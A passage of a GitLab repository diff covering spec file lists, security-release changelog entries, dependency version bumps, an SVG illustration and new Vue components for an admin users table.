+ - 'spec/support/shared_examples/controllers/uploads_actions_shared_examples.rb'
+ - 'spec/support/shared_examples/features/archive_download_buttons_shared_examples.rb'
+ - 'spec/support/shared_examples/features/snippets_shared_examples.rb'
+ - 'spec/support/shared_examples/lib/gitlab/ci/ci_trace_shared_examples.rb'
+ - 'spec/support/shared_examples/models/atomic_internal_id_shared_examples.rb'
+ - 'spec/support/shared_examples/models/chat_slash_commands_shared_examples.rb'
+ - 'spec/support/shared_examples/models/diff_note_after_commit_shared_examples.rb'
+ - 'spec/support/shared_examples/models/mentionable_shared_examples.rb'
+ - 'spec/support/shared_examples/models/with_uploads_shared_examples.rb'
+ - 'spec/support/shared_examples/path_extraction_shared_examples.rb'
+ - 'spec/support/shared_examples/requests/api/discussions_shared_examples.rb'
+ - 'spec/support/shared_examples/requests/api/snippets_shared_examples.rb'
+ - 'spec/support/shared_examples/requests/rack_attack_shared_examples.rb'
+ - 'spec/support/shared_examples/requests/snippet_shared_examples.rb'
+ - 'spec/support/shared_examples/services/alert_management_shared_examples.rb'
+ - 'spec/support/shared_examples/services/boards/boards_list_service_shared_examples.rb'
+ - 'spec/support/shared_examples/services/boards/issues_list_service_shared_examples.rb'
+ - 'spec/support/shared_examples/services/boards/issues_move_service_shared_examples.rb'
+ - 'spec/support/shared_examples/services/issuable_shared_examples.rb'
+ - 'spec/support/shared_examples/uploaders/object_storage_shared_examples.rb'
+ - 'spec/support/shared_examples/workers/authorized_projects_worker_shared_example.rb'
+ - 'spec/support/shared_examples/workers/reactive_cacheable_shared_examples.rb'
+ - 'spec/support/snowplow.rb'
+ - 'spec/support/unicorn.rb'
+ - 'spec/tasks/gitlab/cleanup_rake_spec.rb'
+ - 'spec/tasks/gitlab/container_registry_rake_spec.rb'
+ - 'spec/tasks/gitlab/db_rake_spec.rb'
+ - 'spec/tasks/gitlab/git_rake_spec.rb'
+ - 'spec/tasks/gitlab/praefect_rake_spec.rb'
+ - 'spec/tasks/gitlab/shell_rake_spec.rb'
+ - 'spec/tasks/gitlab/x509/update_rake_spec.rb'
+ - 'spec/uploaders/file_mover_spec.rb'
+ - 'spec/uploaders/records_uploads_spec.rb'
+ - 'spec/uploaders/workers/object_storage/migrate_uploads_worker_spec.rb'
+ - 'spec/views/layouts/_head.html.haml_spec.rb'
+ - 'spec/views/projects/artifacts/_artifact.html.haml_spec.rb'
+ - 'spec/views/shared/runners/show.html.haml_spec.rb'
+ - 'spec/workers/archive_trace_worker_spec.rb'
+ - 'spec/workers/build_coverage_worker_spec.rb'
+ - 'spec/workers/build_hooks_worker_spec.rb'
+ - 'spec/workers/build_trace_sections_worker_spec.rb'
+ - 'spec/workers/ci/build_schedule_worker_spec.rb'
+ - 'spec/workers/ci/daily_build_group_report_results_worker_spec.rb'
+ - 'spec/workers/cluster_configure_istio_worker_spec.rb'
+ - 'spec/workers/cluster_provision_worker_spec.rb'
+ - 'spec/workers/clusters/cleanup/project_namespace_worker_spec.rb'
+ - 'spec/workers/clusters/cleanup/service_account_worker_spec.rb'
+ - 'spec/workers/concerns/project_import_options_spec.rb'
+ - 'spec/workers/create_commit_signature_worker_spec.rb'
+ - 'spec/workers/create_note_diff_file_worker_spec.rb'
+ - 'spec/workers/delete_diff_files_worker_spec.rb'
+ - 'spec/workers/email_receiver_worker_spec.rb'
+ - 'spec/workers/emails_on_push_worker_spec.rb'
+ - 'spec/workers/error_tracking_issue_link_worker_spec.rb'
+ - 'spec/workers/expire_pipeline_cache_worker_spec.rb'
+ - 'spec/workers/git_garbage_collect_worker_spec.rb'
+ - 'spec/workers/group_export_worker_spec.rb'
+ - 'spec/workers/group_import_worker_spec.rb'
+ - 'spec/workers/namespaceless_project_destroy_worker_spec.rb'
+ - 'spec/workers/namespaces/root_statistics_worker_spec.rb'
+ - 'spec/workers/new_note_worker_spec.rb'
+ - 'spec/workers/object_pool/create_worker_spec.rb'
+ - 'spec/workers/packages/nuget/extraction_worker_spec.rb'
+ - 'spec/workers/pages_remove_worker_spec.rb'
+ - 'spec/workers/pipeline_hooks_worker_spec.rb'
+ - 'spec/workers/pipeline_process_worker_spec.rb'
+ - 'spec/workers/pipeline_schedule_worker_spec.rb'
+ - 'spec/workers/project_cache_worker_spec.rb'
+ - 'spec/workers/stage_update_worker_spec.rb'
+ - 'spec/workers/stuck_ci_jobs_worker_spec.rb'
+ - 'spec/workers/wait_for_cluster_creation_worker_spec.rb'
+ - 'ee/spec/workers/security/auto_fix_worker_spec.rb'
diff --git a/.vale.ini b/.vale.ini
index 13b198b9148..3c6e0d38b52 100644
--- a/.vale.ini
+++ b/.vale.ini
@@ -7,3 +7,6 @@ MinAlertLevel = suggestion
[*.md]
BasedOnStyles = gitlab
+
+# Ignore SVG markup
+TokenIgnores = (\*\*\{\w*\}\*\*)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index b676ddad5fa..5383491ffe5 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -560,6 +560,22 @@ entry.
- Change wording on the project remove fork page. !47878
+## 13.5.5 (2020-12-07)
+
+### Security (10 changes)
+
+- Validate zoom links to start with https only. !1055
+- Require at least 3 characters when searching for project in the Explore page.
+- Do not show emails of users in confirmation page.
+- Forbid setting a gitlabUserList strategy to a list from another project.
+- Fix mermaid resource consumption in GFM fields.
+- Ensure group and project memberships are not leaked via API for users with private profiles.
+- GraphQL User: do not expose email if set to private.
+- Filter search parameter to prevent data leaks.
+- Do not expose starred projects of users with private profile via API.
+- Do not show starred & contributed projects of users with private profile.
+
+
## 13.5.4 (2020-11-13)
### Fixed (4 changes)
@@ -1179,6 +1195,22 @@ entry.
- Bump cluster applications CI template. !45472
+## 13.4.7 (2020-12-07)
+
+### Security (10 changes)
+
+- Validate zoom links to start with https only. !1055
+- Require at least 3 characters when searching for project in the Explore page.
+- Do not show emails of users in confirmation page.
+- Forbid setting a gitlabUserList strategy to a list from another project.
+- Fix mermaid resource consumption in GFM fields.
+- Ensure group and project memberships are not leaked via API for users with private profiles.
+- GraphQL User: do not expose email if set to private.
+- Filter search parameter to prevent data leaks.
+- Do not expose starred projects of users with private profile via API.
+- Do not show starred & contributed projects of users with private profile.
+
+
## 13.4.6 (2020-11-03)
### Fixed (1 change)
diff --git a/GITALY_SERVER_VERSION b/GITALY_SERVER_VERSION
index 06a348286f5..3467de900c9 100644
--- a/GITALY_SERVER_VERSION
+++ b/GITALY_SERVER_VERSION
@@ -1 +1 @@
-13.6.3 \ No newline at end of file
+bca59804605b4afd0bebacbaa0952c5b4ca16141
diff --git a/GITLAB_ELASTICSEARCH_INDEXER_VERSION b/GITLAB_ELASTICSEARCH_INDEXER_VERSION
index 24ba9a38de6..834f2629538 100644
--- a/GITLAB_ELASTICSEARCH_INDEXER_VERSION
+++ b/GITLAB_ELASTICSEARCH_INDEXER_VERSION
@@ -1 +1 @@
-2.7.0
+2.8.0
diff --git a/GITLAB_KAS_VERSION b/GITLAB_KAS_VERSION
index 4daad9a5c1d..d6ef99820ff 100644
--- a/GITLAB_KAS_VERSION
+++ b/GITLAB_KAS_VERSION
@@ -1 +1 @@
-13.6.1
+13.7.0
diff --git a/GITLAB_PAGES_VERSION b/GITLAB_PAGES_VERSION
index 034552a83ee..359c41089a4 100644
--- a/GITLAB_PAGES_VERSION
+++ b/GITLAB_PAGES_VERSION
@@ -1 +1 @@
-1.30.0
+1.32.0
diff --git a/GITLAB_SHELL_VERSION b/GITLAB_SHELL_VERSION
index 0b704f2a43a..d9a01d25342 100644
--- a/GITLAB_SHELL_VERSION
+++ b/GITLAB_SHELL_VERSION
@@ -1 +1 @@
-13.13.0
+13.14.0
diff --git a/GITLAB_WORKHORSE_VERSION b/GITLAB_WORKHORSE_VERSION
index a99caf2cdef..b315ff1896d 100644
--- a/GITLAB_WORKHORSE_VERSION
+++ b/GITLAB_WORKHORSE_VERSION
@@ -1 +1 @@
-8.54.0
+8.58.0
diff --git a/Gemfile b/Gemfile
index d60fefe29dc..49d0841be3c 100644
--- a/Gemfile
+++ b/Gemfile
@@ -66,7 +66,7 @@ gem 'attr_encrypted', '~> 3.1.0'
gem 'u2f', '~> 0.2.1'
# GitLab Pages
-gem 'validates_hostname', '~> 1.0.10'
+gem 'validates_hostname', '~> 1.0.11'
gem 'rubyzip', '~> 2.0.0', require: 'zip'
# GitLab Pages letsencrypt support
gem 'acme-client', '~> 2.0', '>= 2.0.6'
@@ -115,11 +115,11 @@ gem 'carrierwave', '~> 1.3'
gem 'mini_magick', '~> 4.10.1'
# for backups
-gem 'fog-aws', '~> 3.5'
+gem 'fog-aws', '~> 3.7'
# Locked until fog-google resolves https://github.com/fog/fog-google/issues/421.
# Also see config/initializers/fog_core_patch.rb.
gem 'fog-core', '= 2.1.0'
-gem 'fog-google', '~> 1.11'
+gem 'fog-google', '~> 1.12'
gem 'fog-local', '~> 0.6'
gem 'fog-openstack', '~> 1.0'
gem 'fog-rackspace', '~> 0.1.1'
@@ -149,7 +149,7 @@ gem 'html-pipeline', '~> 2.12'
gem 'deckar01-task_list', '2.3.1'
gem 'gitlab-markup', '~> 1.7.1'
gem 'github-markup', '~> 1.7.0', require: 'github/markup'
-gem 'commonmarker', '~> 0.20'
+gem 'commonmarker', '~> 0.21'
gem 'kramdown', '~> 2.3.0'
gem 'RedCloth', '~> 4.3.2'
gem 'rdoc', '~> 6.1.2'
@@ -159,7 +159,8 @@ gem 'wikicloth', '0.8.1'
gem 'asciidoctor', '~> 2.0.10'
gem 'asciidoctor-include-ext', '~> 0.3.1', require: false
gem 'asciidoctor-plantuml', '~> 0.0.12'
-gem 'rouge', '~> 3.25.0'
+gem 'asciidoctor-kroki', '~> 0.2.2', require: false
+gem 'rouge', '~> 3.26.0'
gem 'truncato', '~> 0.7.11'
gem 'bootstrap_form', '~> 4.2.0'
gem 'nokogiri', '~> 1.10.9'
@@ -209,7 +210,7 @@ gem 'httparty', '~> 0.16.4'
gem 'rainbow', '~> 3.0'
# Progress bar
-gem 'ruby-progressbar'
+gem 'ruby-progressbar', '~> 1.10'
# GitLab settings
gem 'settingslogic', '~> 2.0.9'
@@ -291,7 +292,6 @@ gem 'sassc-rails', '~> 2.1.0'
gem 'terser', '1.0.2'
gem 'addressable', '~> 2.7'
-gem 'font-awesome-rails', '~> 4.7'
gem 'gemojione', '~> 3.3'
gem 'gon', '~> 6.2'
gem 'request_store', '~> 1.5'
@@ -311,7 +311,7 @@ gem 'gitlab-pg_query', '~> 1.3', require: 'pg_query'
gem 'premailer-rails', '~> 1.10.3'
# LabKit: Tracing and Correlation
-gem 'gitlab-labkit', '0.13.1'
+gem 'gitlab-labkit', '0.13.3'
# I18n
gem 'ruby_parser', '~> 3.15', require: false
@@ -351,6 +351,7 @@ group :development do
end
group :development, :test do
+ gem 'deprecation_toolkit', '~> 1.5.1', require: false
gem 'bullet', '~> 6.1.0'
gem 'pry-byebug', '~> 3.9.0', platform: :mri
gem 'pry-rails', '~> 0.3.9'
@@ -370,7 +371,7 @@ group :development, :test do
gem 'spring', '~> 2.1.0'
gem 'spring-commands-rspec', '~> 1.0.4'
- gem 'gitlab-styles', '~> 5.1.0', require: false
+ gem 'gitlab-styles', '~> 5.3.0', require: false
gem 'scss_lint', '~> 0.59.0', require: false
gem 'haml_lint', '~> 0.36.0', require: false
@@ -428,7 +429,7 @@ end
gem 'octokit', '~> 4.15'
# https://gitlab.com/gitlab-org/gitlab/issues/207207
-gem 'gitlab-mail_room', '~> 0.0.7', require: 'mail_room'
+gem 'gitlab-mail_room', '~> 0.0.8', require: 'mail_room'
gem 'email_reply_trimmer', '~> 0.1'
gem 'html2text'
@@ -464,7 +465,7 @@ group :ed25519 do
end
# Gitaly GRPC protocol definitions
-gem 'gitaly', '~> 13.5.0-rc2'
+gem 'gitaly', '~> 13.7.0.pre.rc1'
gem 'grpc', '~> 1.30.2'
@@ -477,6 +478,7 @@ gem 'flipper', '~> 0.17.1'
gem 'flipper-active_record', '~> 0.17.1'
gem 'flipper-active_support_cache_store', '~> 0.17.1'
gem 'unleash', '~> 0.1.5'
+gem 'gitlab-experiment', '~> 0.4.4'
# Structured logging
gem 'lograge', '~> 0.5'
diff --git a/Gemfile.lock b/Gemfile.lock
index 64179847dd8..1cd90080fd8 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -84,6 +84,8 @@ GEM
asciidoctor (2.0.10)
asciidoctor-include-ext (0.3.1)
asciidoctor (>= 1.5.6, < 3.0.0)
+ asciidoctor-kroki (0.2.2)
+ asciidoctor (~> 2.0)
asciidoctor-plantuml (0.0.12)
asciidoctor (>= 1.5.6, < 3.0.0)
ast (2.4.1)
@@ -177,7 +179,7 @@ GEM
open4 (~> 1.3)
coderay (1.1.3)
colored2 (3.1.2)
- commonmarker (0.20.1)
+ commonmarker (0.21.0)
ruby-enum (~> 0.5)
concord (0.1.5)
adamantium (~> 0.2.0)
@@ -220,10 +222,12 @@ GEM
debugger-ruby_core_source (1.3.8)
deckar01-task_list (2.3.1)
html-pipeline
- declarative (0.0.10)
+ declarative (0.0.20)
declarative-option (0.1.0)
default_value_for (3.3.0)
activerecord (>= 3.2.0, < 6.1)
+ deprecation_toolkit (1.5.1)
+ activesupport (>= 4.2)
derailed_benchmarks (1.7.0)
benchmark-ips (~> 2)
get_process_mem (~> 0)
@@ -359,7 +363,7 @@ GEM
fog-json
ipaddress (~> 0.8)
xml-simple (~> 1.1)
- fog-aws (3.5.2)
+ fog-aws (3.7.0)
fog-core (~> 2.1)
fog-json (~> 1.1)
fog-xml (~> 0.1)
@@ -369,11 +373,11 @@ GEM
excon (~> 0.58)
formatador (~> 0.2)
mime-types
- fog-google (1.11.0)
+ fog-google (1.12.0)
fog-core (<= 2.1.0)
fog-json (~> 1.2)
fog-xml (~> 0.1.0)
- google-api-client (>= 0.32, < 0.34)
+ google-api-client (>= 0.44.2, < 0.51)
google-cloud-env (~> 1.2)
fog-json (1.2.0)
fog-core
@@ -392,8 +396,6 @@ GEM
fog-xml (0.1.3)
fog-core
nokogiri (>= 1.5.11, < 2.0.0)
- font-awesome-rails (4.7.0.5)
- railties (>= 3.2, < 6.1)
formatador (0.2.5)
fugit (1.2.1)
et-orbi (~> 1.1, >= 1.1.8)
@@ -418,11 +420,14 @@ GEM
rails (>= 3.2.0)
git (1.7.0)
rchardet (~> 1.8)
- gitaly (13.5.0.pre.rc2)
+ gitaly (13.7.0.pre.rc1)
grpc (~> 1.0)
github-markup (1.7.0)
gitlab-chronic (0.10.5)
numerizer (~> 0.2)
+ gitlab-experiment (0.4.4)
+ activesupport (>= 3.0)
+ scientist (~> 1.5, >= 1.5.0)
gitlab-fog-azure-rm (1.0.0)
azure-storage-blob (~> 2.0)
azure-storage-common (~> 2.0)
@@ -430,15 +435,16 @@ GEM
fog-json (~> 1.2.0)
mime-types
ms_rest_azure (~> 0.12.0)
- gitlab-labkit (0.13.1)
+ gitlab-labkit (0.13.3)
actionpack (>= 5.0.0, < 6.1.0)
activesupport (>= 5.0.0, < 6.1.0)
+ gitlab-pg_query (~> 1.3)
grpc (~> 1.19)
jaeger-client (~> 1.1)
opentracing (~> 0.4)
redis (> 3.0.0, < 5.0.0)
gitlab-license (1.0.0)
- gitlab-mail_room (0.0.7)
+ gitlab-mail_room (0.0.8)
gitlab-markup (1.7.1)
gitlab-net-dns (0.9.1)
gitlab-pg_query (1.3.0)
@@ -449,7 +455,7 @@ GEM
gitlab-puma (>= 2.7, < 5)
gitlab-sidekiq-fetcher (0.5.2)
sidekiq (~> 5)
- gitlab-styles (5.1.0)
+ gitlab-styles (5.3.0)
rubocop (~> 0.89.1)
rubocop-gitlab-security (~> 0.1.0)
rubocop-performance (~> 1.8.1)
@@ -468,20 +474,21 @@ GEM
actionpack (>= 3.0)
multi_json
request_store (>= 1.0)
- google-api-client (0.33.2)
+ google-api-client (0.50.0)
addressable (~> 2.5, >= 2.5.1)
googleauth (~> 0.9)
httpclient (>= 2.8.1, < 3.0)
mini_mime (~> 1.0)
representable (~> 3.0)
retriable (>= 2.0, < 4.0)
+ rexml
signet (~> 0.12)
google-cloud-env (1.4.0)
faraday (>= 0.17.3, < 2.0)
google-protobuf (3.12.4)
googleapis-common-protos-types (1.0.5)
google-protobuf (~> 3.11)
- googleauth (0.12.0)
+ googleauth (0.14.0)
faraday (>= 0.17.3, < 2.0)
jwt (>= 1.4, < 3.0)
memoist (~> 0.16)
@@ -691,7 +698,7 @@ GEM
marginalia (1.9.0)
actionpack (>= 2.3)
activerecord (>= 2.3)
- memoist (0.16.0)
+ memoist (0.16.2)
memoizable (0.4.2)
thread_safe (~> 0.3, >= 0.3.1)
memory_profiler (0.9.14)
@@ -832,7 +839,7 @@ GEM
org-ruby (0.9.12)
rubypants (~> 0.2)
orm_adapter (0.5.0)
- os (1.0.0)
+ os (1.1.1)
parallel (1.19.2)
parser (2.7.2.0)
ast (~> 2.4.1)
@@ -977,7 +984,7 @@ GEM
rexml (3.2.4)
rinku (2.0.0)
rotp (2.1.2)
- rouge (3.25.0)
+ rouge (3.26.0)
rqrcode (0.7.0)
chunky_png
rqrcode-rails3 (0.1.7)
@@ -1041,7 +1048,7 @@ GEM
rubocop-rspec (1.44.1)
rubocop (~> 0.87)
rubocop-ast (>= 0.7.1)
- ruby-enum (0.7.2)
+ ruby-enum (0.8.0)
i18n
ruby-fogbugz (0.2.1)
crack (~> 0.4)
@@ -1081,6 +1088,7 @@ GEM
sawyer (0.8.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
+ scientist (1.5.0)
scss_lint (0.59.0)
sass (~> 3.5, >= 3.5.5)
securecompare (1.0.0)
@@ -1215,7 +1223,7 @@ GEM
validate_url (1.0.8)
activemodel (>= 3.0.0)
public_suffix
- validates_hostname (1.0.10)
+ validates_hostname (1.0.11)
activerecord (>= 3.0)
activesupport (>= 3.0)
version_sorter (2.2.4)
@@ -1267,6 +1275,7 @@ DEPENDENCIES
asana (= 0.10.2)
asciidoctor (~> 2.0.10)
asciidoctor-include-ext (~> 0.3.1)
+ asciidoctor-kroki (~> 0.2.2)
asciidoctor-plantuml (~> 0.0.12)
atlassian-jwt (~> 0.2.0)
attr_encrypted (~> 3.1.0)
@@ -1292,7 +1301,7 @@ DEPENDENCIES
capybara-screenshot (~> 1.0.22)
carrierwave (~> 1.3)
charlock_holmes (~> 0.7.7)
- commonmarker (~> 0.20)
+ commonmarker (~> 0.21)
concurrent-ruby (~> 1.1)
connection_pool (~> 2.0)
countries (~> 3.0)
@@ -1302,6 +1311,7 @@ DEPENDENCIES
database_cleaner (~> 1.7.0)
deckar01-task_list (= 2.3.1)
default_value_for (~> 3.3.0)
+ deprecation_toolkit (~> 1.5.1)
derailed_benchmarks
device_detector
devise (~> 4.7.2)
@@ -1329,33 +1339,33 @@ DEPENDENCIES
flipper-active_support_cache_store (~> 0.17.1)
flowdock (~> 0.7)
fog-aliyun (~> 0.3)
- fog-aws (~> 3.5)
+ fog-aws (~> 3.7)
fog-core (= 2.1.0)
- fog-google (~> 1.11)
+ fog-google (~> 1.12)
fog-local (~> 0.6)
fog-openstack (~> 1.0)
fog-rackspace (~> 0.1.1)
- font-awesome-rails (~> 4.7)
fugit (~> 1.2.1)
fuubar (~> 2.2.0)
gemojione (~> 3.3)
gettext (~> 3.3)
gettext_i18n_rails (~> 1.8.0)
gettext_i18n_rails_js (~> 1.3)
- gitaly (~> 13.5.0.pre.rc2)
+ gitaly (~> 13.7.0.pre.rc1)
github-markup (~> 1.7.0)
gitlab-chronic (~> 0.10.5)
+ gitlab-experiment (~> 0.4.4)
gitlab-fog-azure-rm (~> 1.0)
- gitlab-labkit (= 0.13.1)
+ gitlab-labkit (= 0.13.3)
gitlab-license (~> 1.0)
- gitlab-mail_room (~> 0.0.7)
+ gitlab-mail_room (~> 0.0.8)
gitlab-markup (~> 1.7.1)
gitlab-net-dns (~> 0.9.1)
gitlab-pg_query (~> 1.3)
gitlab-puma (~> 4.3.3.gitlab.2)
gitlab-puma_worker_killer (~> 0.1.1.gitlab.1)
gitlab-sidekiq-fetcher (= 0.5.2)
- gitlab-styles (~> 5.1.0)
+ gitlab-styles (~> 5.3.0)
gitlab_chronic_duration (~> 0.10.6.2)
gitlab_omniauth-ldap (~> 2.1.1)
gon (~> 6.2)
@@ -1468,7 +1478,7 @@ DEPENDENCIES
request_store (~> 1.5)
responders (~> 3.0)
retriable (~> 3.1.2)
- rouge (~> 3.25.0)
+ rouge (~> 3.26.0)
rqrcode-rails3 (~> 0.1.7)
rspec-parameterized
rspec-rails (~> 4.0.0)
@@ -1477,7 +1487,7 @@ DEPENDENCIES
rspec_profiling (~> 0.0.6)
ruby-fogbugz (~> 0.2.1)
ruby-prof (~> 1.3.0)
- ruby-progressbar
+ ruby-progressbar (~> 1.10)
ruby_parser (~> 3.15)
rubyzip (~> 2.0.0)
rugged (~> 0.28)
@@ -1515,7 +1525,7 @@ DEPENDENCIES
unicorn-worker-killer (~> 0.4.4)
unleash (~> 0.1.5)
valid_email (~> 0.1)
- validates_hostname (~> 1.0.10)
+ validates_hostname (~> 1.0.11)
version_sorter (~> 2.2.4)
vmstat (~> 2.3.0)
webauthn (~> 2.3)
diff --git a/app/assets/images/checkmark.png b/app/assets/images/checkmark.png
new file mode 100644
index 00000000000..6e47fda5cdc
--- /dev/null
+++ b/app/assets/images/checkmark.png
Binary files differ
diff --git a/app/assets/images/chevron-down.png b/app/assets/images/chevron-down.png
new file mode 100644
index 00000000000..3f269e05d0b
--- /dev/null
+++ b/app/assets/images/chevron-down.png
Binary files differ
diff --git a/app/assets/images/jobs-empty-state.svg b/app/assets/images/jobs-empty-state.svg
new file mode 100644
index 00000000000..e6e0681a002
--- /dev/null
+++ b/app/assets/images/jobs-empty-state.svg
@@ -0,0 +1,33 @@
+<svg width="234" height="162" viewBox="0 0 234 162" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M174.68 56.344H200.5C215.412 56.344 227.5 44.1787 227.5 29.172C227.5 14.1653 215.412 2 200.5 2C185.588 2 173.5 14.1653 173.5 29.172C173.5 36.2548 176.193 42.7046 180.604 47.5412" stroke="#C2B7E6" stroke-width="4" stroke-linecap="round"/>
+<path d="M145.5 76.4714C145.5 65.3553 154.454 56.344 165.5 56.344" stroke="#C2B7E6" stroke-width="4" stroke-linecap="round"/>
+<path d="M102.5 121.758H29.5C14.5883 121.758 2.5 109.593 2.5 94.586C2.5 79.5794 14.5883 67.4141 29.5 67.4141C44.4117 67.4141 56.5 79.5794 56.5 94.586C56.5 101.669 53.8072 108.119 49.3957 112.955" stroke="#C2B7E6" stroke-width="4" stroke-linecap="round"/>
+<path d="M67.0466 121.758H52.5C42.5589 121.758 34.5 129.868 34.5 139.873C34.5 149.877 42.5589 157.987 52.5 157.987C62.4411 157.987 70.5 149.877 70.5 139.873C70.5 137.478 70.0384 135.192 69.1998 133.1" stroke="#C2B7E6" stroke-width="4" stroke-linecap="round"/>
+<g clip-path="url(#clip0)">
+<path d="M55.0188 135.3C55.1617 134.764 54.8451 134.211 54.3117 134.068C53.7782 133.925 53.2298 134.243 53.0869 134.78L49.9811 146.445C49.8381 146.981 50.1547 147.534 50.6882 147.677C51.2217 147.821 51.77 147.503 51.9129 146.965L55.0188 135.3Z" fill="#FC6D26"/>
+<path d="M49.2071 137.142C49.5976 137.534 49.5976 138.172 49.2071 138.565L46.9142 140.873L49.2071 143.18C49.5976 143.573 49.5976 144.211 49.2071 144.603C48.8166 144.997 48.1834 144.997 47.7929 144.603L44.7929 141.584C44.4024 141.192 44.4024 140.554 44.7929 140.161L47.7929 137.142C48.1834 136.748 48.8166 136.748 49.2071 137.142Z" fill="#FC6D26"/>
+<path d="M55.7929 137.142C55.4024 137.534 55.4024 138.172 55.7929 138.565L58.0858 140.873L55.7929 143.18C55.4024 143.573 55.4024 144.211 55.7929 144.603C56.1834 144.997 56.8166 144.997 57.2071 144.603L60.2071 141.584C60.5976 141.192 60.5976 140.554 60.2071 140.161L57.2071 137.142C56.8166 136.748 56.1834 136.748 55.7929 137.142Z" fill="#FC6D26"/>
+</g>
+<path d="M212.102 160C222.815 160 231.5 151.214 231.5 140.376C231.5 129.537 222.815 120.752 212.102 120.752H151.5" stroke="#C2B7E6" stroke-width="4" stroke-linecap="round"/>
+<path d="M126.5 138.866C107.171 138.866 91.5 123.096 91.5 103.643C91.5 84.191 107.171 68.4204 126.5 68.4204C145.829 68.4204 161.5 84.191 161.5 103.643C161.5 123.096 145.829 138.866 126.5 138.866ZM126.5 131.451C141.76 131.451 154.132 119.001 154.132 103.643C154.132 88.2861 141.76 75.8358 126.5 75.8358C111.24 75.8358 98.8684 88.2861 98.8684 103.643C98.8684 119.001 111.24 131.451 126.5 131.451Z" fill="#FC6D26"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M126.126 87.1326C135.355 87.1326 142.906 94.5624 142.906 103.643C142.906 112.724 135.355 120.154 126.126 120.154C120.672 120.154 115.638 117.265 112.281 113.137L126.126 103.643V87.1326Z" fill="#6E49CB"/>
+<g clip-path="url(#clip1)">
+<path d="M29.5 90.2659L24.3571 91.9534V93.1629C24.3571 94.9623 25.087 96.6872 26.3846 97.9546L29.5 100.997V90.2659Z" fill="#FC6D26"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M17.5 86.8909L29.5 83.5159L41.5 86.8909V93.1115C41.5 96.6919 40.0551 100.126 37.4832 102.657L29.5 110.516L21.5168 102.657C18.9449 100.126 17.5 96.6919 17.5 93.1115V86.8909ZM20.9286 93.1115V89.4366L29.5 87.0259L38.0714 89.4366V93.1115C38.0714 95.7968 36.9878 98.3721 35.0588 100.271L29.5 105.743L23.9412 100.271C22.0122 98.3721 20.9286 95.7968 20.9286 93.1115Z" fill="#FC6D26"/>
+</g>
+<g clip-path="url(#clip2)">
+<path d="M210.857 19.7297L209.51 24.8237C208.922 27.0445 207.518 28.9576 205.581 30.1752L194.728 36.999L191.862 34.1146L198.642 23.1922C199.852 21.2431 201.753 19.8298 203.96 19.2386L209.022 17.8826C209.822 17.6681 210.644 18.1474 210.857 18.953C210.925 19.2075 210.925 19.4752 210.857 19.7297ZM207.292 21.4702L204.732 22.1561C203.261 22.5503 201.993 23.4925 201.187 24.7918L196.517 32.3146L203.992 27.6148C205.283 26.803 206.219 25.5276 206.611 24.0471L207.292 21.4702ZM196.5 38.2294L204 33.7007V35.2103C204 38.5451 201.314 41.2485 198 41.2485H196.5V38.2294ZM190.5 32.1912H187.5V30.6816C187.5 27.3468 190.186 24.6434 193.5 24.6434H195L190.5 32.1912Z" fill="#FC6D26"/>
+</g>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M209.914 132.822C209.384 132.822 208.875 133.032 208.5 133.407L204.796 137.111C204.613 137.293 204.5 137.544 204.5 137.822V144.822C204.5 145.926 205.395 146.822 206.5 146.822H216.5C217.605 146.822 218.5 145.926 218.5 144.822V137.822C218.5 137.546 218.388 137.296 218.207 137.115L214.5 133.407C214.125 133.032 213.616 132.822 213.086 132.822H209.914ZM215.086 136.822L213.086 134.822H212.5V136.822H215.086ZM210.5 134.822H209.914L207.914 136.822H210.5V134.822ZM206.5 138.822H216.5V144.822H206.5V138.822Z" fill="#FC6D26"/>
+<defs>
+<clipPath id="clip0">
+<rect width="16" height="13.6779" fill="white" transform="translate(44.5 134.033)"/>
+</clipPath>
+<clipPath id="clip1">
+<rect width="24" height="27.172" fill="white" transform="translate(17.5 83.5159)"/>
+</clipPath>
+<clipPath id="clip2">
+<rect width="24" height="24.1529" fill="white" transform="translate(187.5 17.0956)"/>
+</clipPath>
+</defs>
+</svg>
diff --git a/app/assets/javascripts/admin/users/components/app.vue b/app/assets/javascripts/admin/users/components/app.vue
new file mode 100644
index 00000000000..a3abd904a6b
--- /dev/null
+++ b/app/assets/javascripts/admin/users/components/app.vue
@@ -0,0 +1,26 @@
+<script>
+import UsersTable from './users_table.vue';
+
+export default {
+ components: {
+ UsersTable,
+ },
+ props: {
+ users: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ paths: {
+ type: Object,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <users-table :users="users" :paths="paths" />
+ </div>
+</template>
diff --git a/app/assets/javascripts/admin/users/components/users_table.vue b/app/assets/javascripts/admin/users/components/users_table.vue
new file mode 100644
index 00000000000..a2d68972519
--- /dev/null
+++ b/app/assets/javascripts/admin/users/components/users_table.vue
@@ -0,0 +1,63 @@
+<script>
+import { GlTable } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+const DEFAULT_TH_CLASSES =
+ 'gl-bg-transparent! gl-border-b-solid! gl-border-b-gray-100! gl-p-5! gl-border-b-1!';
+const thWidthClass = width => `gl-w-${width}p ${DEFAULT_TH_CLASSES}`;
+
+export default {
+ components: {
+ GlTable,
+ },
+ props: {
+ users: {
+ type: Array,
+ required: true,
+ },
+ paths: {
+ type: Object,
+ required: true,
+ },
+ },
+ fields: [
+ {
+ key: 'name',
+ label: __('Name'),
+ thClass: thWidthClass(40),
+ },
+ {
+ key: 'projectsCount',
+ label: __('Projects'),
+ thClass: thWidthClass(10),
+ },
+ {
+ key: 'createdAt',
+ label: __('Created on'),
+ thClass: thWidthClass(15),
+ },
+ {
+ key: 'lastActivityOn',
+ label: __('Last activity'),
+ thClass: thWidthClass(15),
+ },
+ {
+ key: 'settings',
+ label: '',
+ thClass: thWidthClass(20),
+ },
+ ],
+};
+</script>
+
+<template>
+ <div>
+ <gl-table
+ :items="users"
+ :fields="$options.fields"
+ :empty-text="s__('AdminUsers|No users found')"
+ show-empty
+ stacked="md"
+ />
+ </div>
+</template>
diff --git a/app/assets/javascripts/admin/users/index.js b/app/assets/javascripts/admin/users/index.js
new file mode 100644
